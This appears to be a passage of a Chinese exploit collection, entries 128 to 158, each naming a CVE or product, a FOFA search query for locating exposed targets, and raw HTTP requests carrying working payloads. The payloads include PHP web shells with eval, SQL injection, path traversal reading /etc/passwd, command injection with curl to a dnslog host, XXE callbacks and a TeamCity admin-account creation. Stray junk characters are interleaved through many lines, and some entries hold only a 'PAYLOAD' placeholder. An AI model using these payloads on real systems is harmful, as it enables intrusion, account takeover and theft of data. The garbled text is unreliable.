, c( _7 r& Y  ?8 [8 m7 u* k1 cContent-Disposition: form-data;name="Params"
4 I  j  Q" B4 r5 q, hContent-Type: text/plain
/ o9 p; q+ V2 e9 ]0 q' i: Q
<?xml version="1.0" encoding="UTF-8"?>
% \+ `' F0 O! [  o<!DOCTYPE test [
& w5 t7 W: s, d4 v<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
- G+ ?2 {+ a, s/ ^]
6 \# K0 d7 n" n  X+ b>
3 H+ E  ~8 G: e+ S<test>&t;</test>
3 U% k* K6 q+ Z7 x: a; p& u------WebKitFormBoundaryJGgV5l5ta05yAIe0--
7 H. o7 w: \3 v- D) Z8 P
* D- t* ?- o1 `% K& N- ~

128. Adobe ColdFusion 反序列化
CVE-2023-38203
% Q# K! L4 t8 H0 z8 jAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
( d8 b9 h. Z: \6 n! h9 N% y  \FOFA：app="Adobe-ColdFusion"
3 W3 m5 {8 W% l2 SPAYLOAD

129. Adobe ColdFusion 任意文件读取
! H5 o& s" _' o% i; s: v8 MCVE-2024-20767
' K  y: Q7 t, f, [0 k% BFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
# p/ d& G2 W- T. s: }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 n2 b! [8 H. bAccept: */*
Accept-Encoding: gzip, deflate
+ f: K6 U/ l/ ~- l$ C" c: l1 f! kConnection: close
2 S' ]& D% S+ g) @9 i
& l8 J6 p2 o' Q  H0 o# `: n
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
* G6 X5 L1 p6 tAccept: */*
  Y" o$ t' L& p# d8 J; m( EAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

% T4 u. {4 I+ ~& n  B
5 X( y7 u1 j( N0 f130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
8 W! n# V+ ~9 B) M$ _" o# `% BPOST /admin/users/upavatar.html HTTP/1.1
" m3 U" v& l0 `: Z$ ?* j1 fHost: 127.0.0.1
9 P7 E# E1 X0 E' Q7 ZAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
$ K2 \! o  g* k# ?- q" |User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
" g+ t8 z/ g" zAccept-Encoding: gzip, deflate
) }# z' r/ J4 t" hAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
8 S( y/ I5 m2 A; O4 O, R
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
8 r$ Z2 e/ m+ s+ D, x

; x; @3 _- p9 \) h5 `, k9 X0 b& o131. Mini-Tmall <=20231017 SQL注入
5 [9 x/ `" ?" gFOFA：icon_hash="-2087517259"
0 \$ n2 x- F% t5 _9 U$ S后台地址：http://localhost:8080/tmall/admin
- f- O9 ?: k- f& R, Phttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
6 v7 d) s/ c; T
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
# L: k5 b4 `. u) }FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
* l6 b9 D8 l! r3 v. r6 S0 N1 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
: H- e1 {( A) y0 x' X5 h$ WAccept-Encoding: gzip, deflate
5 c3 J$ T! ~% M* d
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

; \% s1 ^( y  r. U& l
CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

* J# K) ^4 e1 G, l1 Z
  i8 e- c4 d# F  t) ECVE-2024-27198-RCE.py
' l0 `; x6 w$ k7 J! y
5 x. D: K. d2 v5 P) d- @" ~5 @133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
4 W9 s9 O1 F5 \& EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
& h8 P) g/ j( Q: T2 f
, Y) t  a  \+ x% F6 L, G  |------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

0 \3 O/ O/ R. ~# v1 F, E- i<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
  R  v6 o: [: Z9 a% I
8 x5 o0 s3 _9 T7 r: c7 a3 R

: w9 k* I8 m- O/ t1 w, ?5 Y$ s* m134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
9 X# A: N) O, x" D/ ]  v( K, iNetentsec NS-ASG Application Security Gateway 6.3版本
8 w6 W# Y+ h: j7 D) HFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
7 C* ]/ B3 A: f% ?/ t* I1 DHost: x.x.x.x
: j: z  f" P7 k/ ?6 n. K- XCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
/ R5 r' u/ m- w' U- T. u3 z. G5 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
, C) E1 @0 O- ?/ r) B& C: ?  iSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
1 g' H, l& `# h, R! {" RConnection: close
7 V2 e- z0 L4 D; C0 S5 h) c2 nContent-Type: application/x-www-form-urlencoded
# i& c# q. U% |' O5 k2 I4 kContent-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
3 u$ ^3 w- T5 U2 D
" v0 F7 E0 f, V3 y% n
) V0 v0 L' R1 S0 e2 D9 b1 ]135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
& U4 I& x( j1 G# }$ a' aNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
3 n; N; ]1 g1 }! ~( w- S1 PHost: x.x.x.x
* j! N( p7 J! B3 G0 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
% D* _  k  l0 I* @( A7 v8 mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' o3 V+ G1 `- A" Q# _- \7 _' hAccept-Encoding: gzip, deflate
1 v; g  q. }! p7 f# g, \Accept-Language: zh-CN,zh;q=0.9
* b1 f7 ^  V2 J) l" E$ xConnection: close
5 V. s0 v3 l& y( O

6 T; `$ X9 [" u# p/ F$ I136. NextChat cors SSRF
" D" n& C3 o5 gCVE-2023-49785
2 N% T+ `4 d+ l4 ]" eFOFA：title="NextChat"
- V3 a! O) k6 y: N& a6 B' O" ?) v) {GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
) l8 Z, ?: Z8 V8 w$ \; W! jHost: x.x.x.x:10000
3 s$ Y0 ?9 \6 N% qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
3 ?) G7 T/ S3 `! S6 ?7 c" yConnection: close
, A3 a$ V; a( V' d( @5 o0 eAccept: */*
& b% P1 o3 p. `& }Accept-Language: en
Accept-Encoding: gzip
1 g& r' v0 D* W0 m0 f

137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
0 D7 v7 l8 _1 Q" L/ S9 C7 yGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 _0 d- h& L( L0 ~; CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# p1 r6 Y( A4 Z  L0 {! rAccept-Encoding: gzip, deflate, br
Connection: close
9 W* ]7 ~( L8 d/ \  ]5 vCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
9 ^4 N  L( k# {2 }Upgrade-Insecure-Requests: 1


  _5 O* x4 w! j  F6 H* \8 L- a138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
  k& j- z. [4 c$ C9 R3 o% N  aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  k/ V; Q3 h+ q5 c- L! i* D. z: rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) l2 b/ d$ o7 T0 M* h% |, `0 mAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1


) y( b4 a9 u+ j6 S8 Z  K139. 福建科立讯通信指挥调度平台editemedia.php sql注入
3 Z% J- b: |) _& k  FCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* c3 G  |; @8 D! ^) o0 [Accept-Encoding: gzip, deflate, br
Connection: close
; r4 I. t( }0 C* v0 R( ECookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
! [7 i5 s: ]( X3 G0 C
& c' y% N0 I5 {2 R
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
) I9 K7 T5 Y1 [" l; }% yGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
8 L! q: e3 }2 a! b% G6 v& C  y7 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* V, n" v2 F5 \& H# C2 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
4 }$ a# f8 C5 x. OConnection: close
Cookie: authcode=h8g9
0 e) P9 ?5 r+ i- @4 \) b. bUpgrade-Insecure-Requests: 1
  Q7 C! _8 j6 d% B& A
1 d* ]& G8 u4 C" [
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
+ R7 [5 y$ U! R3 AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded

  w) n3 q+ l0 t% \$ M" e2 t: u
. q% X. `1 e! s) n. [) m  rdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


1 e, c8 ], z- E3 Z* o2 G142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
3 W9 Z- d  ?, g' EFOFA：body="/808gps/"
admin/admin
* `: ]) q- z8 s143. Netis WF2780 v2.1.40144 远程命令执行
. ]( \7 j$ e  `% z/ Y, sCVE-2024-25850
FOFA：title='AP setup' && header='netis'
0 h7 c1 N9 L  w+ Y# w/ KPAYLOAD

144. D-Link nas_sharing.cgi 命令注入
: Z$ S$ ?2 r3 |5 i8 OFOFA：app="D_Link-DNS-ShareCenter"
* l+ Q( d+ X" M" Q) `. t5 {system参数用于传要执行的命令
; ^. |8 s+ @+ s, B5 k, k3 C' jGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
& T% x/ D5 g+ T$ ]  y& sHost: x.x.x.x
/ o7 J" }- W* V/ Q- o8 D0 mUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
' N& `  J" Z4 m* v- E7 M' ?# RConnection: close
% H# r  _+ S6 J# fAccept: */*
Accept-Language: en
& g/ e; p2 w  n% x' LAccept-Encoding: gzip

: a+ G6 [, }- \1 k
" \4 Z  a  U) L+ J1 s145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
) m4 E' t) c3 ^0 k* ^1 A  G% vFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
- Z! d  p! ]* O, m% h, W" ^  eHost: 192.168.30.112:1005
6 C! M' q1 a$ qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip

* P# k! `2 {2 d- p
/ S( r. X  h% {6 P* m% g: }+ `146. MajorDoMo thumb.php 未授权远程代码执行
% r* _* d% ~- S$ jCNVD-2024-02175
3 b4 n) M0 p3 [; n) E) lFOFA：app="MajordomoSL"
; _7 p0 G3 L2 e' b1 ]GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
" \5 z& q5 H* x* _: ^Host: x.x.x.x
) M9 }8 S7 [$ N( RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

3 l: N" f. Y+ C6 ~' t0 v+ r
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
% {  l( |" N1 _; U6 gFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
  h, [  N# t: K1 p2 A* rCache-Control: max-age=0
Connection: close
/ m0 o* l6 O5 a# r9 A9 q  b
+ V) y3 M& Q5 ~: Y
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
" B7 y) e0 {( R& N! A3 uFOFA：body="CrushFTP"
PAYLOAD
! {: O" C) P: {/ @  Q
2 b* s6 z: T- G9 ]149. AJ-Report开源数据大屏存在远程命令执行
% e  K6 B6 Z3 B% FFOFA：title="AJ-Report"

" v: U9 F* I/ @5 t* yPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
7 a* @( k8 x# \* J; @* s/ s$ ?- `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
7 U1 U$ O8 ~, [. T' HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  i5 m/ O% X) S: v0 r2 fAccept-Encoding: gzip, deflate, br
$ ?+ m% W8 i* B  s- N1 [8 HAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
- K" ?% g6 \4 m6 oConnection: close
, z. T# X1 w( N
( D$ P, M% r, s7 ^5 L3 _& L{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
: [1 m' \6 ]4 b7 x# i) [6 p
3 b1 L- S  _& ~4 h' i& N' N150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
- \3 K4 t8 `  LHost: x.x.x.x
2 c% U& i3 C& L! {" C% J+ d0 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 m9 U1 S! `3 z' O5 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 `/ o' c5 z5 W3 I% ^Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
7 K5 x6 ]5 _' _8 JConnection: close
Content-Length: 339
% m% `* V& I( h2 i* L6 m
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

" I6 p( Y) X- B7 t
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
7 L$ z$ y3 u7 `- o: S; R# s0 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 A/ K1 j& T# B1 TConnection: close
Accept-Encoding: gzip
* W! W- Y2 ?/ z: c, ^6 o8 `% G2 R3 Z
# R3 W% U4 l! C" ?- l' U5 y
152. Progress Kemp LoadMaster 远程命令执行
, C: `& k( u3 g0 S+ [CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
! e2 R8 N/ R7 T5 G4 F$ i1 V9 MJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
, Z; l6 c: t$ M3 }5 sGET /access/set?param=enableapi&value=1 HTTP/1.1
+ M8 @( I' J4 @" o+ F3 V, oHost: x.x.x.x
0 B, D4 N, j2 i$ o( y6 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
6 {* |5 m" G8 G% d5 h7 }4 HAccept: */*
7 _9 f; K0 A$ I0 DAccept-Language: en
+ d2 }7 ~! m, B# |4 I; rAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
0 H6 G+ L2 n+ U+ J2 d, A/ Y& _Accept-Encoding: gzip


153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
. |" ]+ c# {. |$ C! K% I$ H. N第一步，请求/config文件获取componets的id
http://x.x.x.x/config

( D2 c/ [9 _. v- w: I/ K9 m
$ z4 ?- [3 m6 l' K4 M0 t$ M/ H( @# P0 b第二步，将/etc/passwd的内容写入到一个临时文件
7 d4 |) A4 O2 Z4 F  I. N& _& sPOST /component_server HTTP/1.1
) Q' L0 [/ _( z0 m* w3 ]4 t4 WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
, e9 P1 G+ e- O3 F, U. z; `! }Connection: close
4 h: s. E  X" V' |+ \) H2 l; MContent-Length: 115
Content-Type: application/json
* J! E$ U! t( G. U2 GAccept-Encoding: gzip

+ z6 B& E6 z4 p# Z- i/ H{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
6 S8 M1 Y3 U7 h
2 X& \+ e& H! I5 q8 R
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
1 B' H& X2 Q8 d. {

4 c. r6 c: A2 m, w  z154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
- k. q9 @2 V: IHost: x.x.x.x
: k' G1 d5 O* ~" h6 JContent-Length: 106
Cache-Control: max-age=0
0 N8 z! U! z! ]. h" ~# HUpgrade-Insecure-Requests: 1
% L+ p4 |/ C7 ~3 b1 G2 YOrigin: http://x.x.x.x
Content-Type: application/json
6 P  R5 u! c* r" p- s, t# AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 w2 [7 z, b& _Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
1 h& l  ~' ^8 ^- o* kConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

) c" r% `( Q: f+ b) ~, e
155. 六零导航页 file.php 任意文件上传
8 H0 P4 f3 J! v: e: h. ^CVE-2024-34982
, ?$ d: B1 _( Q( |! T; D5 Z% p9 EFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
. c# c$ Q4 Q- g# Q, E4 m% LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
' N# _; H2 O- D, X, \1 X( }Content-Length: 232
' a" w8 L4 f# ]% y: mAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 P' ^- I/ Q3 c2 i: f% VContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
7 \: `/ U2 ?* O  p9 k# E1 WX-Requested-With: XMLHttpRequest
$ {0 w) [; c" @! G
3 R0 j6 W1 h( O0 J-----------------------------qttl7vemrsold314zg0f
" c7 e$ T7 l" J2 F, c5 [  gContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

, i+ Z, V' }! Z; }  }& |
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
" S5 U/ c4 d; J/ c+ v8 oFOFA："Location: /login.rsp"
$ T. `. ~7 e! _0 o: L·TBK DVR-4104
·TBK DVR-4216
% Q5 h" ~% _8 r4 |( acurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

$ K4 S4 Q; L7 s9 V# e
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip
, U9 q7 j/ N  N  l9 E* p& {3 q

9 ^2 ~, L% ~  u3 y- x$ o: t$ f  t157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
4 I5 r! x8 U: Y& z5 Z1 E- dFOFA：body="/common/scripts/basic.js"
1 E0 b- ^& ]; R+ h" w/ G! ]2 d/ \POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
$ @( b+ T( `9 ?+ C4 R3 f- e9 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
% D# i, `) ]. E. `, E. b- }* KConnection: close
; B- \0 t! h9 N& v2 \8 @" R8 u( n/ XContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
/ r; M, c2 W( ~* X* rUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
4 R% ]  {0 }% d& W) G' j& ^0 H) GContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
; I* D! G! f% ?Content-Type: application/octet-stream
7 G/ l9 g$ D- T$ ~
nyhelxrutzwhrsvsrafb
: r! O7 ]8 H, n& q1 E9 J------WebKitFormBoundary1imovELzPsfzp5dN
4 h8 x; S6 f' H7 hContent-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
; w+ |$ b* k8 I0 c; g* M% f% nContent-Disposition: form-data; name="form"

/ F; ^! x  y; s2 Q0 O. j6 X) g8 v7 enull
------WebKitFormBoundary1imovELzPsfzp5dN
; |* C' x, W, w& XContent-Disposition: form-data; name="field"
9 T- Y0 X5 o% m1 v
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
' S. {* ^7 B4 k( C8 D% o
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--
8 B/ i8 f5 `: _/ Z

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
" h  ~1 J4 ^1 N) K; \9 Z- D
% S7 i/ s2 d; o158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
% D5 i; f2 O  T2 X  x  l: U+ i7 @FOFA："Generator: Masa CMS"
